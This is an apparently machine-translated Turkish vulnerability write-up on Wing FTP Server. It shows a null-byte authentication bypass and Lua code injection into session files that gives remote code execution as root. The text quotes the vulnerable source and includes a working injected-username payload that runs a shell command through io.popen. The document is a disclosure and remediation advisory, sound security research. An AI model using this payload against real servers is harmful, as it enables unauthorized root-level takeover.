Sürekli penetrasyon testi müşterilerimizden biri için bir penetrasyon testi yaparken, anonim bağlantılara izin veren bir kanat FTP sunucusu örneği bulduk. Neredeyse maruz kalan tek ilginç şeydi, ama yine de çevrelerine bir dayanak almak ve müşteriye etkili bir bulgu sağlamak istedik. Bu yüzden ikili ninjamızı kutladık ve kazmaya başladık. Spoiler: Kök olarak uzaktan kod yürütülmesini sağladık.
İyi eski anonim!
Böylece, anonim girişlere izin veren Wing FTP’nin web arayüzüyle karşılaştık. Kanat FTP durumunda, web arayüzündeki anonim kullanıcı FTP protokolünde kullanılanla aynıdır.

Kimlik doğrulamasından sonra (anonim bağlantılar, herhangi bir şifre gerektirmediği için kimlik doğrulanmamış olarak kabul edilebilir), bazı statik halka açık içerikler indirmek dışında çok fazla şey yapamadık. Ama harika, en azından okuma izinleri aldık. Bu durumda normalde yaptığınız şey, daha zayıf, tahmin etmesi kolay bir şifreye sahip olabilecek diğer kullanıcı hesapları için bulanıktır. Ancak, hepsinin sadece “giriş başarısız” bir hata mesajı döndürdüğü için süper şanslı değildik:

Özellikle ilginç bir model fark edene kadar neredeyse vazgeçtik:

Bu nedenle, kullanıcı adına bir null baytı eklemek, ardından herhangi bir rastgele dizeyi takip etmek, bir kimlik doğrulama hatasını tetiklemiyor gibi görünmüyor, bu da normal olarak beklediğiniz şeydir. Bunun yerine, kullanıcıyı hala başarılı bir şekilde doğrulamak gibi görünüyor. Eksik hata mesajının yanı sıra, başarılı bir kimlik doğrulamasının diğer göstergesi UID
Wing FTP’nin kullanıcı web arayüzü için birincil kimlik doğrulama çerezi olan çerez. Bu bizi oldukça tetikledi, özellikle bu davranış tüm web arayüzünde ve hatta yönetimsel web arayüzünde gözlemlenebilir.
Strlen () vs null
Bu kara kutuyu keşfetmek neredeyse imkansız, bu yüzden neler olduğunu hata ayıklamak için kanat FTP sunucusu örneğimizi kurmaya başladık, çünkü burada gizli sulu bir şey varmış gibi kokuyordu. Bir bakarken loginok.html
Kimlik doğrulama işlemini işleyen dosya, aşağıdaki kodu alacaksınız:
local username = _GET["username"] or _POST["username"] or "" local password = _GET["password"] or _POST["password"] or "" local remember = _GET["remember"] or _POST["remember"] or "" local redir = _GET["redir"] or _POST["redir"] or "" local lang = _GET["lang"] or _POST["lang"] or "" username = string.gsub(username,"+"," ") username = string.gsub(username,"\t","+") password = string.gsub(password,"+"," ") password = string.gsub(password,"\t","+") local result = c_CheckUser(username,password) if result ~= OK_CHECK_CONNECTION then c_AddWebLog("User '"..string.sub(username, 1, 64).."' login failed! (IP:".._REMOTE_IP..")","0",DOMAIN_LOG_WEB_RESPOND) print("")
Yani, vurduğumuz noktaya kadar çok fazla filtreleme yok c_CheckUser()
Kullanıcı adı/şifre kombinasyonunu doğrulaması gereken 13. satırdaki çağrı. Tam olarak bu satırı hata ayıklarken, bunu fark ettik c_CheckUser
Her zaman döner OK_CHECK_CONNECTION
Kullanıcı adındaki null baytından sonra ne olursa olsun, null baytından önceki dize mevcut bir kullanıcıyla eşleştiği sürece. O zamandan beri c_CheckUser()
kanat FTP’nin ana ikili olarak uygulanır wftpserver
uzaktan hata ayıklama sunucumuzu kurduk ve burada neler olduğunu öğrenmek için favori hata ayıklayıcı ikili ninja ekledik. İşte fark ettiğimiz şey:
Oldukça erken c_CheckUser()
uygulama kullanıcı adını bir lua_tolstring
çağrı (null-byte’yi yok sayar) ve ortaya çıkan dizeyi bir CStdStr
Yapıcı:

Yapıcı eylemlerini hatta daha da izlerken, sonunda bir işlevle sonuçlanacağız. ssasn(std::string& arg1, char const* arg2)
hangi arayacak std::string:assign
Hala null-byte dahil olan kullanıcı adımızda:

Şimdi std::string:assign
dahili olarak kullanır strlen()
Dize boyutunu elde etmek için kullanıcı adımızda, ancak strlen
Tüm karakterleri yalnızca boş by Terminatör’e ulaşana kadar sayar. Bu yüzden RAX kaydı, tam olarak “Anonim” kullanıcı adının uzunluğu olan 0x9 içerir:

Bu, karşılığında, CStdStr
Yapıcı, kullanıcı adının bir parçası olarak enjekte ettiğimiz null-byte’ye kadar kullanıcı adı dizesinin yalnızca ilk kısmı ile çalışacaktır. Sadece ilk kısmı aldığından, çağrı CUserManager::CheckUser
Ayrıca, kullanıcı adının ilk bölümüyle de çalışacak ve sonuçta mevcut bir kullanıcı adı null bayttan önce geldiği sürece herhangi bir dize ile kimlik doğrulama kontrolünü geçmemize izin verecek:

Neden bu ilginç?!?
Öyleyse hatırla c_CheckUser
LUA kodunda kimlik doğrulama kontrolünü gerçekleştirir: Kodun biraz daha aşağısına bakarsak loginok.html
Oturumların nasıl oluşturulduğunu denetlemek için şunları fark edeceksiniz:
local username = _GET["username"] or _POST["username"] or "" local password = _GET["password"] or _POST["password"] or "" local remember = _GET["remember"] or _POST["remember"] or "" local redir = _GET["redir"] or _POST["redir"] or "" local lang = _GET["lang"] or _POST["lang"] or "" username = string.gsub(username,"+"," ") username = string.gsub(username,"\t","+") password = string.gsub(password,"+"," ") password = string.gsub(password,"\t","+") local result = c_CheckUser(username,password) if result ~= OK_CHECK_CONNECTION then c_AddWebLog("User '"..string.sub(username, 1, 64).."' login failed! (IP:".._REMOTE_IP..")","0",DOMAIN_LOG_WEB_RESPOND) print("") else if _COOKIE["UID"] ~= nil then _SESSION_ID = _COOKIE["UID"] local retval = SessionModule.load(_SESSION_ID) if retval == false then _SESSION_ID = SessionModule.new() if _UseSSL == true then _SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnly; Secure\r\n" else _SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnly\r\n" end rawset(_COOKIE,"UID",_SESSION_ID) end else _SESSION_ID = SessionModule.new() if _UseSSL == true then _SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnly; Secure\r\n" else _SETCOOKIE = _SETCOOKIE.."Set-Cookie: UID=".._SESSION_ID.."; HttpOnly\r\n" end rawset(_COOKIE,"UID",_SESSION_ID) end if package.config:sub(1,1) == "\\" then username = string.lower(username) end rawset(_SESSION,"username",username) rawset(_SESSION,"ipaddress",_REMOTE_IP) SessionModule.save(_SESSION_ID)
Öyleyse burada ne olacak olan uygulama, kullanıcı adı ile çalışır. rawset()
Doğrudan GET veya POST parametresinden satılan satır 43’teki çağrı 1. satır 1’de. Ve bu, null bayt ve ondan sonra gelenler de dahil olmak üzere tam kullanıcı adıdır. Çünkü c_CheckUser()
Sanitize bir kullanıcı adı değil, yalnızca kimlik doğrulama durumu döndürür.
45. satırda, uygulama daha sonra arar SessionModule.save()
aşağıdaki gibi tanımlanır:
function save (id) if not check_id (id) then return nil, INVALID_SESSION_ID end if isfolder(root_dir) == false then mkdir(root_dir) chmod(root_dir, "0600") end local fh = assert(_open(filename (id), "w+")) serialize(_SESSION, function (s) fh:write(s) end) fh:close() chmod(filename(id), "0600") end
Burada, uygulama 11. satırda yeni bir oturum dosyası oluşturur ve daha sonra her şeyi seri hale getirir. _SESSION
Oturum dosyasına kullanıcı adımızı içerir. serialize()
Görünüşe göre:
function serialize(tab,outf) if type(tab) == "table" then for k,v in pairs(tab) do if type(k) == "string" then k="'"..k.."'" end if(type(v) == "string") then outf("_SESSION["..k.."]=[["..v.."]]\r\n") elseif(type(v) == "number") then outf("_SESSION["..k.."]="..v.."\r\n") elseif(type(v) == "function") then outf("_SESSION["..k.."]=\"[function]\"\r\n") elseif(type(v) == "nil") then outf("_SESSION["..k.."]=nil\r\n") else outf("_SESSION["..k.."]={") serialize(v,outf) outf("}\r\n") end end end end
Bunun nereye götürdüğü bir fikriniz olabilir. Ancak bu oturum dosyalarına daha yakından bakalım.
Oturum dosyalarına lua kod enjeksiyonu
Enjekte edilen kullanıcı adımızla web arayüzüne karşı kimlik doğrulaması yaptığınızda, uygulama tarafından belirtilen yeni bir oturum kimliği oluşturur. UID
Oturum çerezi:

WFTPServer/Oturum Dizini’ne bakarken, bu oturum dosyalarının esasen lua komut dosyası dosyaları olduğunu fark edebilirsiniz. Bunların amacı yalnızca oturum değişkenlerini depolamaktır, ancak loginok.html dosyası tüm dize ile çalıştığından, null bayt da Oturum Değişkeninde de saklanır:

Peki böyle bir kullanıcı adıyla ne olası yanlış gidebilir?
anonymous%00]]%0dlocal+h+%3d+io.popen("id")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--

Bu, LUA kodunu oturum dosyasına enjekte eder (ayrıca: nano ftw):

Kod enjeksiyonunun tetiklenmesi
Oturum dosyasında enjekte edilen lua kodumuz var, ancak bunu nasıl yürütüyoruz? Göründüğü kadar kolaydır: oturum dosyası kullanıldığında yürütülür. Bunun nedeni bulunabilir SessionModule.lua
:
function load (id) if not check_id (id) then return false end local filepath = filename(id) if fileexist(filepath) then if filetime(filepath) + timeout < time() then remove(filepath) return false end local ipHash = string.sub(id, -32) if c_RestrictSessionIP() == true and ipHash ~= md5(_REMOTE_IP) then return false end if ipHash == "f528764d624db129b32c21fbca0cb8d6" and _REMOTE_IP ~= "127.0.0.1" then return false end local f, err = loadfile(filepath) if not f then return false else f() return true end end end
Oturum kimliği geçerliyse, oturum dosyası 22 satırda yüklenir ve doğrudan satır 26'da yürütülürse. Bu nedenle, adı esasen UID çerezinin değeri olan LUA kodunu oturum dosyasına enjekte ettikten sonra, yalnızca kanat ftp web arayüzü aracılığıyla mevcut olan kimlik doğrulamalı işlevlerden herhangi birini çağırmanız gerekir, örneğin dizin içeriğini okumak gibi. /dir.html
Bitiş noktası:

Bu bize sunucuda uzaktan kod yürütme sağlar. Ama burada bitmiyor. Ekran görüntüsünde görebileceğiniz gibi, Kod Linux'ta kök hakları kullanılarak yürütülür, çünkü WFTPServer varsayılan olarak kök seviyesi haklarını kullanarak çalışır. Hakların düşmesi, hapishane veya kum havuzu yoktur (ayrıca bkz. CVE-2025-47811).
Bir yan notta: Wing FTP sunucusunun Windows sürümü varsayılan olarak NT yetkisi/sistem hakları kullanılarak başlatılır, bu nedenle Microsoft Windows'ta bir sistem hakları RCE ile sonuçlanacaksınız.
Bu noktada, istediğimiz şeyi başardık: anonim bir salt okunan hesaptan tam kod yürütülmesine kök olarak gitmek. Ve sadece açıklığa kavuşturmak için: Bu sadece anonim hesabı kullanarak değil, herhangi bir kullanıcı hesabıyla da kullanılabilir.
Kanat FTP sunucusunu etkileyen birkaç (küçük) hata
CVE-2025-27889: Net metin şifresini çalmaya izin veren bağlantı enjeksiyonu
CVE-2025-47811: Varsayılan olarak kök/sistemle çalışan aşırı izin veren hizmet
CVE-2025-47813: Çok uzun UID çerez yoluyla yerel yol açıklaması
Github depomuzda ilgili güvenlik danışmanlarını bulacaksınız.
İyileştirme
Bildirilen tüm hatalar, satıcının tam kök erişimimizin nedeni olmasına rağmen korumak için iyi olduğunu düşündüğü CVE-2025-47811 hariç, kanat FTP'nin 7.4.4 sürümünde sabitlenmiştir.
Meraklı kalın.